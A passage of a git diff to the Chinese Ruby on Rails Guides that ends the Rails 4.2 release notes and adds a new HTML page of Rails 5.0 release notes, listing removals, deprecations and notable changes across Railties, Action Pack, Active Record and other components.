  • Deprecated broken support for automatic detection of counter caches on +has_many :through associations. You should instead manually specify the +counter cache on the has_many and belongs_to associations for the +through records. +(Pull Request)

  • +
  • Deprecated passing Active Record objects to .find or .exists?. Call +id on the objects first. +(Commit 1, +2)

  • +
  • +

    Deprecated half-baked support for PostgreSQL range values with excluding +beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion +is not fully possible because Ruby ranges do not support excluded beginnings.

    +

    The current solution of incrementing the beginning is not correct +and is now deprecated. For subtypes where we don't know how to increment +(e.g. succ is not defined) it will raise an ArgumentError for ranges +with excluding beginnings. +(Commit)

    +
  • +
  • Deprecated calling DatabaseTasks.load_schema without a connection. Use +DatabaseTasks.load_schema_current instead. +(Commit)

  • +
  • Deprecated sanitize_sql_hash_for_conditions without replacement. Using a +Relation for performing queries and updates is the preferred API. +(Commit)

  • +
  • Deprecated add_timestamps and t.timestamps without passing the :null +option. The default of null: true will change in Rails 5 to null: false. +(Pull Request)

  • +
  • Deprecated Reflection#source_macro without replacement as it is no longer +needed in Active Record. +(Pull Request)

  • +
  • Deprecated serialized_attributes without replacement. +(Pull Request)

  • +
  • Deprecated returning nil from column_for_attribute when no column +exists. It will return a null object in Rails 5.0. +(Pull Request)

  • +
  • Deprecated using .joins, .preload and .eager_load with associations +that depend on the instance state (i.e. those defined with a scope that +takes an argument) without replacement. +(Commit)

  • +
+

8.3 Notable changes

+
    +
  • SchemaDumper uses force: :cascade on create_table. This makes it +possible to reload a schema when foreign keys are in place.

  • +
  • Added a :required option to singular associations, which defines a +presence validation on the association. +(Pull Request)

  • +
  • ActiveRecord::Dirty now detects in-place changes to mutable values. +Serialized attributes on Active Record models are no longer saved when +unchanged. This also works with other types such as string columns and json +columns on PostgreSQL. +(Pull Requests 1, +2, +3)

  • +
  • Introduced the db:purge Rake task to empty the database for the +current environment. +(Commit)

  • +
  • Introduced ActiveRecord::Base#validate! that raises +ActiveRecord::RecordInvalid if the record is invalid. +(Pull Request)

  • +
  • Introduced validate as an alias for valid?. +(Pull Request)

  • +
  • touch now accepts multiple attributes to be touched at once. +(Pull Request)

  • +
  • The PostgreSQL adapter now supports the jsonb datatype in PostgreSQL 9.4+. +(Pull Request)

  • +
  • The PostgreSQL and SQLite adapters no longer add a default limit of 255 +characters on string columns. +(Pull Request)

  • +
  • Added support for the citext column type in the PostgreSQL adapter. +(Pull Request)

  • +
  • Added support for user-created range types in the PostgreSQL adapter. +(Commit)

  • +
  • sqlite3:///some/path now resolves to the absolute system path +/some/path. For relative paths, use sqlite3:some/path instead. +(Previously, sqlite3:///some/path resolved to the relative path +some/path. This behavior was deprecated on Rails 4.1). +(Pull Request)

  • +
  • Added support for fractional seconds for MySQL 5.6 and above. +(Pull Request 1, +2)

  • +
  • Added ActiveRecord::Base#pretty_print to pretty print models. +(Pull Request)

  • +
  • ActiveRecord::Base#reload now behaves the same as m = Model.find(m.id), +meaning that it no longer retains the extra attributes from custom +SELECTs. +(Pull Request)

  • +
  • ActiveRecord::Base#reflections now returns a hash with string keys instead +of symbol keys. (Pull Request)

  • +
  • The references method in migrations now supports a type option for +specifying the type of the foreign key (e.g. :uuid). +(Pull Request)

  • +
+

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Removals

+
    +
  • Removed deprecated Validator#setup without replacement. +(Pull Request)
  • +
+

9.2 Deprecations

+
    +
  • Deprecated reset_#{attribute} in favor of restore_#{attribute}. +(Pull Request)

  • +
  • Deprecated ActiveModel::Dirty#reset_changes in favor of +clear_changes_information. +(Pull Request)

  • +
+

9.3 Notable changes

+
    +
  • Introduced validate as an alias for valid?. +(Pull Request)

  • +
  • Introduced the restore_attributes method in ActiveModel::Dirty to restore +the changed (dirty) attributes to their previous values. +(Pull Request 1, +2)

  • +
  • has_secure_password no longer disallows blank passwords (i.e. passwords +that contains only spaces) by default. +(Pull Request)

  • +
  • has_secure_password now verifies that the given password is less than 72 +characters if validations are enabled. +(Pull Request)

  • +
+

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

+
    +
  • Removed deprecated Numeric#ago, Numeric#until, Numeric#since, +Numeric#from_now. +(Commit)

  • +
  • Removed deprecated string based terminators for ActiveSupport::Callbacks. +(Pull Request)

  • +
+

10.2 Deprecations

+
    +
  • Deprecated Kernel#silence_stderr, Kernel#capture and Kernel#quietly +without replacement. +(Pull Request)

  • +
  • Deprecated Class#superclass_delegating_accessor, use +Class#class_attribute instead. +(Pull Request)

  • +
  • Deprecated ActiveSupport::SafeBuffer#prepend! as +ActiveSupport::SafeBuffer#prepend now performs the same function. +(Pull Request)

  • +
+

10.3 Notable changes

+
    +
  • Introduced a new configuration option active_support.test_order for +specifying the order test cases are executed. This option currently defaults +to :sorted but will be changed to :random in Rails 5.0. +(Commit)

  • +
  • Object#try and Object#try! can now be used without an explicit receiver in the block. +(Commit, +Pull Request)

  • +
  • The travel_to test helper now truncates the usec component to 0. +(Commit)

  • +
  • Introduced Object#itself as an identity function. +(Commit 1, +2)

  • +
  • Object#with_options can now be used without an explicit receiver in the block. +(Pull Request)

  • +
  • Introduced String#truncate_words to truncate a string by a number of words. +(Pull Request)

  • +
  • Added Hash#transform_values and Hash#transform_values! to simplify a +common pattern where the values of a hash must change, but the keys are left +the same. +(Pull Request)

  • +
  • The humanize inflector helper now strips any leading underscores. +(Commit)

  • +
  • Introduced Concern#class_methods as an alternative to +module ClassMethods, as well as Kernel#concern to avoid the +module Foo; extend ActiveSupport::Concern; end boilerplate. +(Commit)

  • +
  • New guide about constant autoloading and reloading.

  • +
+

11 Credits

See the +full list of contributors to Rails for +the many people who spent many hours making Rails the stable and robust +framework it is today. Kudos to all of them.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/5_0_release_notes.html b/5_0_release_notes.html new file mode 100644 index 0000000..2848f32 --- /dev/null +++ b/5_0_release_notes.html @@ -0,0 +1,670 @@ + + + + + + + +Ruby on Rails 5.0 发布记 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 5.0 发布记

Rails 5.0 的重要变化:

+ +

本文只涵盖重要变化。若想了解缺陷修正和小变化,请查看更新日志或 GitHub 中 Rails 主仓库的提交历史

+ + + +
+
+ +
+
+
+

1 升级到 Rails 5.0

如果升级现有应用,在继续之前,最好确保有足够的测试覆盖度。如果尚未升级到 Rails 4.2,应该先升级到 4.2 版,确保应用能正常运行之后,再尝试升级到 Rails 5.0。升级时的注意事项参见 从 Rails 4.2 升级到 5.0

2 主要功能

2.1 Action Cable

Action Cable 是 Rails 5 新增的框架,其作用是把 WebSockets 无缝集成到 Rails 应用中。

有了 Action Cable,你就可以使用与 Rails 应用其他部分一样的风格和形式使用 Ruby 编写实时功能,而且兼顾性能和可伸缩性。这是一个全栈框架,既提供了客户端 JavaScript 框架,也提供了服务器端 Ruby 框架。你对使用 Active Record 或其他 ORM 编写的领域模型有完全的访问能力。

详情参见Action Cable 概览

2.2 API 应用

Rails 现在可用于创建专门的 API 应用了。如此以来,我们便可以创建类似 TwitterGitHub 那样的 API,提供给公众使用,或者只供自己使用。

Rails API 应用通过下述命令生成:

+
+$ rails new my_api --api
+
+
+
+

上述命令主要做三件事:

+
    +
  • 配置应用,使用有限的中间件(比常规应用少)。具体而言,不含默认主要针对浏览器应用的中间件(如提供 cookie 支持的中间件)。
  • +
  • ApplicationController 继承 ActionController::API,而不继承 ActionController::Base。与中间件一样,这样做是为了去除主要针对浏览器应用的 Action Controller 模块。
  • +
  • 配置生成器,生成资源时不生成视图、辅助方法和静态资源。
  • +
+

生成的应用提供了基本的 API,你可以根据应用的需要配置,加入所需的功能

详情参见使用 Rails 开发只提供 API 的应用

2.3 Active Record Attributes API

为模型定义指定类型的属性。如果需要,会覆盖属性的当前类型。通过这一 API 可以控制属性的类型在模型和 SQL 之间的转换。此外,还可以改变传给 ActiveRecord::Base.where 的值的行为,以便让领域对象可以在 Active Record 的大多数地方使用,而不用依赖实现细节或使用猴子补丁。

通过这一 API 可以实现:

+
    +
  • 覆盖 Active Record 检测到的类型。
  • +
  • 提供默认类型。
  • +
  • 属性不一定对应于数据库列。
  • +
+
+
+# db/schema.rb
+create_table :store_listings, force: true do |t|
+  t.decimal :price_in_cents
+  t.string :my_string, default: "original default"
+end
+
+# app/models/store_listing.rb
+class StoreListing < ActiveRecord::Base
+end
+
+store_listing = StoreListing.new(price_in_cents: '10.1')
+
+# 以前
+store_listing.price_in_cents # => BigDecimal.new(10.1)
+StoreListing.new.my_string # => "original default"
+
+class StoreListing < ActiveRecord::Base
+  attribute :price_in_cents, :integer # custom type
+  attribute :my_string, :string, default: "new default" # default value
+  attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
+  attribute :field_without_db_column, :integer, array: true
+end
+
+# 现在
+store_listing.price_in_cents # => 10
+StoreListing.new.my_string # => "new default"
+StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
+model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
+model.attributes # => {field_without_db_column: [1, 2, 3]}
+
+
+
+

创建自定义类型

你可以自定义类型,只要它们能响应值类型定义的方法。deserializecast 会在自定义类型的对象上调用,传入从数据库或控制器获取的原始值。通过这一特性可以自定义转换方式,例如处理货币数据。

查询

ActiveRecord::Base.where 会使用模型类定义的类型把值转换成 SQL,方法是在自定义类型对象上调用 serialize

这样,做 SQL 查询时可以指定如何转换值。

Dirty Tracking

通过属性的类型可以改变 Dirty Tracking 的执行方式。

详情参见文档

2.4 测试运行程序

为了增强 Rails 运行测试的能力,这一版引入了新的测试运行程序。若想使用这个测试运行程序,输入 bin/rails test 即可。

这个测试运行程序受 RSpecminitest-reportersmaxitest 等启发,包含下述主要优势:

+
    +
  • 通过测试的行号运行单个测试。
  • +
  • 指定多个行号,运行多个测试。
  • +
  • 改进失败消息,也便于重新运行失败的测试。
  • +
  • 指定 -f 选项,尽早失败,一旦发现失败就停止测试,而不是等到整个测试组件运行完毕。
  • +
  • 指定 -d 选项,等到测试全部运行完毕再显示输出。
  • +
  • 指定 -b 选项,输出完整的异常回溯信息。
  • +
  • Minitest 集成,允许指定 -s 选项测试种子数据,指定 -n 选项运行指定名称的测试,指定 -v 选项输出更详细的信息,等等。
  • +
  • 以不同颜色显示测试输出。
  • +
+

3 Railties

变化详情参见 Changelog

3.1 删除

+
    +
  • 删除对 debugger 的支持,换用 byebug。因为 Ruby 2.2 不支持 debugger。(提交
  • +
  • 删除弃用的 test:alltest:all:db 任务。(提交
  • +
  • 删除弃用的 Rails::Rack::LogTailer。(提交
  • +
  • 删除弃用的 RAILS_CACHE 常量。(提交
  • +
  • 删除弃用的 serve_static_assets 配置。(提交
  • +
  • 删除 doc:appdoc:railsdoc:gudies 三个文档任务。(提交
  • +
  • 从默认栈中删除 Rack::ContentLength 中间件。(提交
  • +
+

3.2 弃用

+
    +
  • 弃用 config.static_cache_control,换成 config.public_file_server.headers。(拉取请求
  • +
  • 弃用 config.serve_static_files,换成 config.public_file_server.enabled。(拉取请求
  • +
  • 弃用 rails 命名空间下的任务,换成 app 命名空间(例如,rails:updaterails:template 任务变成了 app:updateapp:template)。(拉取请求
  • +
+

3.3 重要变化

+
    +
  • 添加 Rails 测试运行程序 bin/rails test。(拉取请求
  • +
  • 新生成的应用和插件的自述文件使用 Markdown 格式。(提交拉取请求
  • +
  • 添加 bin/rails restart 任务,通过 touch tmp/restart.txt 文件重启 Rails 应用。(拉取请求
  • +
  • 添加 bin/rails initializers 任务,按照 Rails 调用的顺序输出所有初始化脚本。(拉取请求
  • +
  • 添加 bin/rails dev:cache 任务,在开发环境启用或禁用缓存。(拉取请求
  • +
  • 添加 bin/update 脚本,自动更新开发环境。(拉取请求
  • +
  • 通过 bin/rails 代理 Rake 任务。(拉取请求拉取请求
  • +
  • 新生成的应用在 Linux 和 macOS 中启用文件系统事件监控。把 --skip-listen 传给生成器可以禁用这一功能。(提交提交
  • +
  • 使用环境变量 RAILS_LOG_TO_STDOUT 把生产环境的日志输出到 STDOUT。(拉取请求
  • +
  • 新应用通过 IncludeSudomains 首部启用 HSTS。(拉取请求
  • +
  • 应用生成器创建一个名为 config/spring.rb 的新文件,告诉 Spring 监视其他常见的文件。(提交
  • +
  • 添加 --skip-action-mailer,生成新应用时不生成 Action Mailer。(拉取请求
  • +
  • 删除 tmp/sessions 目录,以及与之对应的 Rake 清理任务。(拉取请求
  • +
  • 让脚手架生成的 _form.html.erb 使用局部变量。(拉取请求
  • +
  • 禁止在生产环境自动加载类。(提交
  • +
+

4 Action Pack

变化详情参见 Changelog

4.1 删除

+
    +
  • 删除 ActionDispatch::Request::Utils.deep_munge。(提交
  • +
  • 删除 ActionController::HideActions。(拉取请求
  • +
  • 删除占位方法 respond_torespond_with,提取为 responders gem。(提交)
  • +
  • 删除弃用的断言文件。(提交
  • +
  • 不再允许在 URL 辅助方法中使用字符串键。(提交
  • +
  • 删除弃用的 *_path 辅助方法的 only_path 选项。(提交
  • +
  • 删除弃用的 NamedRouteCollection#helpers。(提交
  • +
  • 不再允许使用不带 #:to 选项定义路由。(提交
  • +
  • 删除弃用的 ActionDispatch::Response#to_ary。(提交
  • +
  • 删除弃用的 ActionDispatch::Request#deep_munge。(提交
  • +
  • 删除弃用的 ActionDispatch::Http::Parameters#symbolized_path_parameters。(提交
  • +
  • 不再允许在控制器测试中使用 use_route 选项。(提交
  • +
  • 删除 assignsassert_template,提取为 rails-controller-testing gem 中。(拉取请求
  • +
+

4.2 弃用

+
    +
  • 弃用所有 *_filter 回调,换成 *_action。(拉取请求
  • +
  • 弃用 *_via_redirect 集成测试方法。请在请求后手动调用 follow_redirect!,效果一样。(拉取请求
  • +
  • 弃用 AbstractController#skip_action_callback,换成单独的 skip_callback 方法。(拉取请求
  • +
  • 弃用 render 方法的 :nothing 选项。(拉取请求
  • +
  • 以前,head 方法的第一个参数是一个 散列,而且可以设定默认的状态码;现在弃用了。(拉取请求
  • +
  • 弃用通过字符串或符号指定中间件类名。直接使用类名。(提交
  • +
  • 弃用通过常量访问 MIME 类型(如 Mime::HTML)。换成通过下标和符号访问(如 Mime[:html])。(拉取请求
  • +
  • 弃用 redirect_to :back,换成 redirect_back。后者必须指定 fallback_location 参数,从而避免出现 RedirectBackError 异常。(拉取请求
  • +
  • ActionDispatch::IntegrationTestActionController::TestCase 弃用位置参数,换成关键字参数。(拉取请求
  • +
  • 弃用 :controller:action 路径参数。(拉取请求
  • +
  • 弃用控制器实例的 env 方法。(提交
  • +
  • 启用了 ActionDispatch::ParamsParser,而且从中间件栈中删除了。若想配置参数解析程序,使用 ActionDispatch::Request.parameter_parsers=。(提交提交
  • +
+

4.3 重要变化

+
    +
  • 添加 ActionController::Renderer,在控制器动作之外渲染任意模板。(拉取请求
  • +
  • ActionController::TestCaseActionDispatch::Integration 的 HTTP 请求方法的参数换成关键字参数。(拉取请求
  • +
  • 为 Action Controller 添加 http_cache_forever,缓存响应,永不过期。(拉取请求
  • +
  • 为获取请求设备提供更友好的方式。(拉取请求
  • +
  • 对没有模板的动作来说,渲染 head :no_content,而不是抛出异常。(拉取请求
  • +
  • 支持覆盖控制器默认的表单构建程序。(拉取请求
  • +
  • 添加对只提供 API 的应用的支持。添加 ActionController::API,在这类应用中取代 ActionController::Base。(拉取请求
  • +
  • ActionController::Parameters 不再继承自 HashWithIndifferentAccess。(拉取请求
  • +
  • 减少 config.force_sslconfig.ssl_options 的危险性,更便于禁用。(拉取请求
  • +
  • 允许 ActionDispatch::Static 返回任意首部。(拉取请求
  • +
  • protect_from_forgery 提供的保护措施默认设为 false。(提交
  • +
  • ActionController::TestCase 将在 Rails 5.1 中移除,制成单独的 gem。换用 ActionDispatch::IntegrationTest。(提交
  • +
  • Rails 默认生成弱 ETag。(拉取请求
  • +
  • 如果控制器动作没有显式调用 render,而且没有对应的模板,隐式渲染 head :no_content,不再抛出异常。(拉取请求拉取请求
  • +
  • 添加一个选项,为每个表单指定单独的 CSRF 令牌。(拉取请求
  • +
  • 为集成测试添加请求编码和响应解析功能。(拉取请求
  • +
  • 添加 ActionController#helpers,在控制器层访问视图上下文。(拉取请求
  • +
  • 不用的闪现消息在存入会话之前删除。(拉取请求
  • +
  • fresh_whenstale? 支持解析记录集合。(拉取请求
  • +
  • ActionController::Live 变成一个 ActiveSupport::Concern。这意味着,不能直接将其引入其他模块,而不使用 ActiveSupport::Concern 扩展,否则,ActionController::Live 在生产环境无效。有些人还可能会使用其他模块引入处理 Warden/Devise 身份验证失败的特殊代码,因为中间件无法捕获派生的线程抛出的 :warden 异常——使用 ActionController::Live 时就是如此。(详情
  • +
  • 引入 Response#strong_etag=#weak_etag=,以及 fresh_whenstale? 的相应选项。(拉取请求
  • +
+

5 Action View

变化详情参见 Changelog

5.1 删除

+
    +
  • 删除弃用的 AbstractController::Base::parent_prefixes。(提交
  • +
  • 删除 ActionView::Helpers::RecordTagHelper,提取为 record_tag_helper gem。(拉取请求
  • +
  • 删除 translate 辅助方法的 :rescue_format 选项,因为 I18n 不再支持。(拉取请求
  • +
+

5.2 重要变化

+
    +
  • 把默认的模板处理程序由 ERB 改为 Raw。(提交
  • +
  • 对集合的渲染可以缓存,而且可以一次获取多个局部视图。(拉取请求提交
  • +
  • 为显式依赖增加通配符匹配。(拉取请求
  • +
  • disable_with 设为 submit 标签的默认行为。提交后禁用按钮能避免多次提交。(拉取请求
  • +
  • 局部模板的名称不再必须是有效的 Ruby 标识符。(提交
  • +
  • datetime_tag 辅助方法现在生成类型为 datetime-localinput 标签。(拉取请求
  • +
+

6 Action Mailer

变化详情参见 Changelog

6.1 删除

+
    +
  • 删除邮件视图中弃用的 *_path 辅助方法。(提交
  • +
  • 删除弃用的 deliverdeliver! 方法。(提交
  • +
+

6.2 重要变化

+
    +
  • 查找模板时会考虑默认的本地化设置和 I18n 后备机制。(提交
  • +
  • 为生成器创建的邮件程序添加 _mailer 后缀,让命名约定与控制器和作业相同。(拉取请求
  • +
  • 添加 assert_enqueued_emailsassert_no_enqueued_emails。(拉取请求
  • +
  • 添加 config.action_mailer.deliver_later_queue_name 选项,配置邮件程序队列的名称。(拉取请求
  • +
  • 支持片段缓存 Action Mailer 视图。新增 config.action_mailer.perform_caching 选项,设定是否缓存邮件模板。(拉取请求
  • +
+

7 Active Record

变化详情参见 Changelog

7.1 删除

+
    +
  • 不再允许使用嵌套数组作为查询值。(拉取请求
  • +
  • 删除弃用的 ActiveRecord::Tasks::DatabaseTasks#load_schema,替换为 ActiveRecord::Tasks::DatabaseTasks#load_schema_for。(提交
  • +
  • 删除弃用的 serialized_attributes。(提交
  • +
  • 删除 has_many :through 弃用的自动计数器缓存。(提交
  • +
  • 删除弃用的 sanitize_sql_hash_for_conditions。(提交
  • +
  • 删除弃用的 Reflection#source_macro。(提交
  • +
  • 删除弃用的 symbolized_base_classsymbolized_sti_name。(提交
  • +
  • 删除弃用的 ActiveRecord::Base.disable_implicit_join_references=。(提交
  • +
  • 不再允许使用字符串存取方法访问连接规范。(提交
  • +
  • 不再预加载依赖实例的关联。(提交
  • +
  • PostgreSQL 值域不再排除下限。(提交
  • +
  • 删除通过缓存的 Arel 修改关系时的弃用消息。现在抛出 ImmutableRelation 异常。(提交
  • +
  • 从核心中删除 ActiveRecord::Serialization::XmlSerializer,提取到 activemodel-serializers-xml gem 中。(拉取请求
  • +
  • 核心不再支持旧的 mysql 数据库适配器。多数用户应该使用 mysql2。找到维护人员后,会把对 mysql 的支持制成单独的 gem。(拉取请求拉取请求
  • +
  • 不再支持 protected_attributes gem。(提交
  • +
  • 不再支持低于 9.1 版的 PostgreSQL。(拉取请求
  • +
  • 不再支持 activerecord-deprecated_finders gem。(提交
  • +
  • 删除 ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES 常量。(提交
  • +
+

7.2 弃用

+
    +
  • 弃用在查询中把类作为值传递。应该传递字符串。(拉取请求
  • +
  • 弃用通过返回 false 停止 Active Record 回调链。建议的方式是 throw(:abort)。(拉取请求
  • +
  • 弃用 ActiveRecord::Base.errors_in_transactional_callbacks=。(提交
  • +
  • 弃用 Relation#uniq,换用 Relation#distinct。(提交
  • +
  • 弃用 PostgreSQL 的 :point 类型,换成返回 Point 对象,而不是数组。(拉取请求
  • +
  • 弃用通过为关联方法传入一个真值参数强制重新加载关联。(拉取请求
  • +
  • 弃用关联的错误键 restrict_dependent_destroy,换成更好的键名。(拉取请求
  • +
  • #tables 的同步行为。(拉取请求
  • +
  • 弃用 SchemaCache#tablesSchemaCache#table_exists?SchemaCache#clear_table_cache!,换成相应的数据源方法。(拉取请求
  • +
  • 弃用 SQLite3 和 MySQL 适配器的 connection.tables。(拉取请求
  • +
  • 弃用把参数传给 #tables:在某些适配器中(mysql2、sqlite3),它返回表和视图,而其他适配器(postgresql)只返回表。为了保持行为一致,未来 #tables 只返回表。(拉取请求
  • +
  • 弃用 table_exists? 方法:它既检查表,也检查视图。为了与 #tables 的行为一致,未来 #table_exists? 只检查表。(拉取请求
  • +
  • 弃用 find_nth 方法的 offset 参数。请在关系上使用 offset 方法。(拉取请求
  • +
  • 弃用 DatabaseStatements 中的 {insert|update|delete}_sql。换用公开方法 {insert|update|delete}。(拉取请求
  • +
  • 弃用 use_transactional_fixtures,换成更明确的 use_transactional_tests。(拉取请求
  • +
  • 弃用把一列传给 ActiveRecord::Connection#quote。(提交
  • +
  • find_in_batches 方法添加与 start 参数对应的 end 参数,指定在哪里停止批量处理。(拉取请求
  • +
+

7.3 重要变化

+
    +
  • 创建表时为 references 添加 foreign_key 选项。(提交
  • +
  • 新的 Attributes API。(提交
  • +
  • enum 添加 :_prefix/:_suffix 选项。(拉取请求拉取请求
  • +
  • ActiveRecord::Relation 添加 #cache_key 方法。(拉取请求
  • +
  • timestamps 默认的 null 值改为 false。(提交
  • +
  • 添加 ActiveRecord::SecureToken,在模型中使用 SecureRandom 为属性生成唯一令牌。(拉取请求
  • +
  • drop_table 添加 :if_exists 选项。(拉取请求
  • +
  • 添加 ActiveRecord::Base#accessed_fields,在模型中只从数据库中选择数据时快速查看读取哪些字段。(提交
  • +
  • ActiveRecord::Relation 添加 #or 方法,允许在 WHEREHAVING 子句中使用 OR 运算符。(提交
  • +
  • 添加 ActiveRecord::Base.suppress,禁止在指定的块执行时保存接收者。(拉取请求
  • +
  • 如果关联的对象不存在,belongs_to 现在默认触发验证错误。在具体的关联中可以通过 optional: true 选项禁止这一行为。因为添加了 optional 选项,所以弃用了 required 选项。(拉取请求
  • +
  • 添加 config.active_record.dump_schemas 选项,用于配置 db:structure:dump 的行为。(拉取请求
  • +
  • 添加 config.active_record.warn_on_records_fetched_greater_than 选项。(拉取请求
  • +
  • 为 MySQL 添加原生支持的 JSON 数据类型。(拉取请求
  • +
  • 支持在 PostgreSQL 中并发删除索引。(拉取请求
  • +
  • 为连接适配器添加 #views#view_exists? 方法。(拉取请求
  • +
  • 添加 ActiveRecord::Base.ignored_columns,让一些列对 Active Record 不可见。(拉取请求
  • +
  • 添加 connection.data_sourcesconnection.data_source_exists?。这两个方法判断什么关系可以用于支持 Active Record 模型(通常是表和视图)。(拉取请求
  • +
  • 允许在 YAML 固件文件中设定模型类。(拉取请求
  • +
  • 生成数据库迁移时允许把 uuid 用作主键。(拉取请求
  • +
  • 添加 ActiveRecord::Relation#left_joinsActiveRecord::Relation#left_outer_joins。(拉取请求
  • +
  • 添加 after_{create,update,delete}_commit 回调。(拉取请求
  • +
  • 为迁移类添加版本,这样便可以修改参数的默认值,而不破坏现有的迁移,或者通过弃用循环强制重写。(拉取请求
  • +
  • 现在,ApplicationRecord 是应用中所有模型的超类,这与控制器一样,控制器是 ApplicationController 的子类,而不是 ActionController::Base。因此,应用可以在一处全局配置模型的行为。(拉取请求
  • +
  • 添加 #second_to_last#third_to_last 方法。(拉取请求
  • +
  • 允许通过存储在 PostgreSQL 和 MySQL 数据库元数据中的注释注解数据库对象。(拉取请求
  • +
  • mysql2 适配器(0.4.4+)添加预处理语句支持。以前只支持弃用的 mysql 适配器。若想启用,在 config/database.yml 中设定 prepared_statements: true。(拉取请求
  • +
  • 允许在关系对象上调用 ActionRecord::Relation#update,在关系涉及的所有对象上运行回调。(拉取请求
  • +
  • save 方法添加 :touch 选项,允许保存记录时不更新时间戳。(拉取请求
  • +
  • 为 PostgreSQL 添加表达式索引和运算符类支持。(提交
  • +
  • 添加 :index_errors 选项,为嵌套属性的错误添加索引。(拉取请求
  • +
  • 添加对双向销毁依赖的支持。(拉取请求
  • +
  • 支持在事务型测试中使用 after_commit 回调。(拉取请求
  • +
  • 添加 foreign_key_exists? 方法,检查表中是否有外键。(拉取请求
  • +
  • touch 方法添加 :time 选项,使用当前时间之外的时间更新记录的时间戳。(拉取请求
  • +
  • 修改事务回调,不再抑制错误。在此之前,事务回调抛出的错误会做特殊处理,输出到日志中,除非设定了 raise_in_transactional_callbacks = true 选项(最近弃用了)。现在,这些错误不再做特殊处理,而是直接冒泡,与其他回调的行为保持一致。(提交
  • +
+

8 Active Model

变化详情参见 Changelog

8.1 删除

+ +

8.2 弃用

+
    +
  • 弃用通过返回 false 停止 Active Model 和 ActiveModel::Validations 回调链的方式。推荐的方式是 throw(:abort)。(拉取请求
  • +
  • 弃用行为不一致的 ActiveModel::Errors#getActiveModel::Errors#setActiveModel::Errors#[]= 方法。(拉取请求
  • +
  • 弃用 validates_length_of:tokenizer 选项,换成普通的 Ruby。(拉取请求
  • +
  • 弃用 ActiveModel::Errors#add_on_emptyActiveModel::Errors#add_on_blank,而且没有替代方法。(拉取请求
  • +
+

8.3 重要变化

+
    +
  • 添加 ActiveModel::Errors#details,判断哪个验证失败。(拉取请求
  • +
  • ActiveRecord::AttributeAssignment 提取为 ActiveModel::AttributeAssignment,以便把任意对象作为引入的模块使用。(拉取请求
  • +
  • 添加 ActiveModel::Dirty#[attr_name]_previously_changed?ActiveModel::Dirty#[attr_name]_previous_change,更好地访问保存模型后有变的记录。(拉取请求
  • +
  • valid?invalid? 一次验证多个上下文。(拉取请求
  • +
  • validates_acceptance_of 除了 1 之外接受 true 为默认值。(拉取请求
  • +
+

9 Active Job

变化详情参见 Changelog

9.1 重要变化

+
    +
  • ActiveJob::Base.deserialize 委托给作业类,以便序列化作业时依附任意元数据,并在执行时读取。(拉取请求
  • +
  • 允许在单个作业中配置队列适配器,防止相互影响。(拉取请求
  • +
  • 生成的作业现在默认继承自 app/jobs/application_job.rb。(拉取请求
  • +
  • 允许 DelayedJobSidekiqququequeue_classic 把作业 ID 报给 ActiveJob::Base,通过 provider_job_id 获取。(拉取请求拉取请求提交
  • +
  • 实现一个简单的 AsyncJob 处理程序和相关的 AsyncAdapter,把作业队列放入一个 concurrent-ruby 线程池。(拉取请求
  • +
  • 把默认的适配器由 inline 改为 async。这是更好的默认值,因为测试不会错误地依赖同步行为。(提交
  • +
+

10 Active Support

变化详情参见 Changelog

10.1 删除

+
    +
  • 删除弃用的 ActiveSupport::JSON::Encoding::CircularReferenceError。(提交
  • +
  • 删除弃用的 ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=ActiveSupport::JSON::Encoding.encode_big_decimal_as_string 方法。(提交
  • +
  • 删除弃用的 ActiveSupport::SafeBuffer#prepend。(提交
  • +
  • 删除 Kernel 中弃用的方法:silence_stderrsilence_streamcapturequietly。(提交
  • +
  • 删除弃用的 active_support/core_ext/big_decimal/yaml_conversions 文件。(提交
  • +
  • 删除弃用的 ActiveSupport::Cache::Store.instrumentActiveSupport::Cache::Store.instrument= 方法。(提交
  • +
  • 删除弃用的 Class#superclass_delegating_accessor,换用 Class#class_attribute。(拉取请求
  • +
  • 删除弃用的 ThreadSafe::Cache,换用 Concurrent::Map。(拉取请求
  • +
  • 删除 Object#itself,因为 Ruby 2.2 自带了。(拉取请求
  • +
+

10.2 弃用

+
    +
  • 弃用 MissingSourceFile,换用 LoadError。(提交
  • +
  • 弃用 alias_method_chain,换用 Ruby 2.0 引入的 Module#prepend。(拉取请求
  • +
  • 弃用 ActiveSupport::Concurrency::Latch,换用 concurrent-ruby 中的 Concurrent::CountDownLatch。(拉取请求
  • +
  • 弃用 number_to_human_size:prefix 选项,而且没有替代选项。(拉取请求
  • +
  • 弃用 Module#qualified_const_,换用内置的 Module#const_ 方法。(拉取请求
  • +
  • 弃用通过字符串定义回调。(拉取请求
  • +
  • 弃用 ActiveSupport::Cache::Store#namespaced_keyActiveSupport::Cache::MemCachedStore#escape_keyActiveSupport::Cache::FileStore#key_file_path,换用 normalize_key。(拉取请求提交
  • +
  • 弃用 ActiveSupport::Cache::LocaleCache#set_cache_value,换用 write_cache_value。(拉取请求
  • +
  • 弃用 assert_nothing_raised 的参数。(拉取请求
  • +
  • 弃用 Module.local_constants,换用 Module.constants(false)。(拉取请求
  • +
+

10.3 重要变化

+
    +
  • ActiveSupport::MessageVerifier 添加 #verified#valid_message? 方法。(拉取请求
  • +
  • 改变回调链停止的方式。现在停止回调链的推荐方式是明确使用 throw(:abort)。(拉取请求
  • +
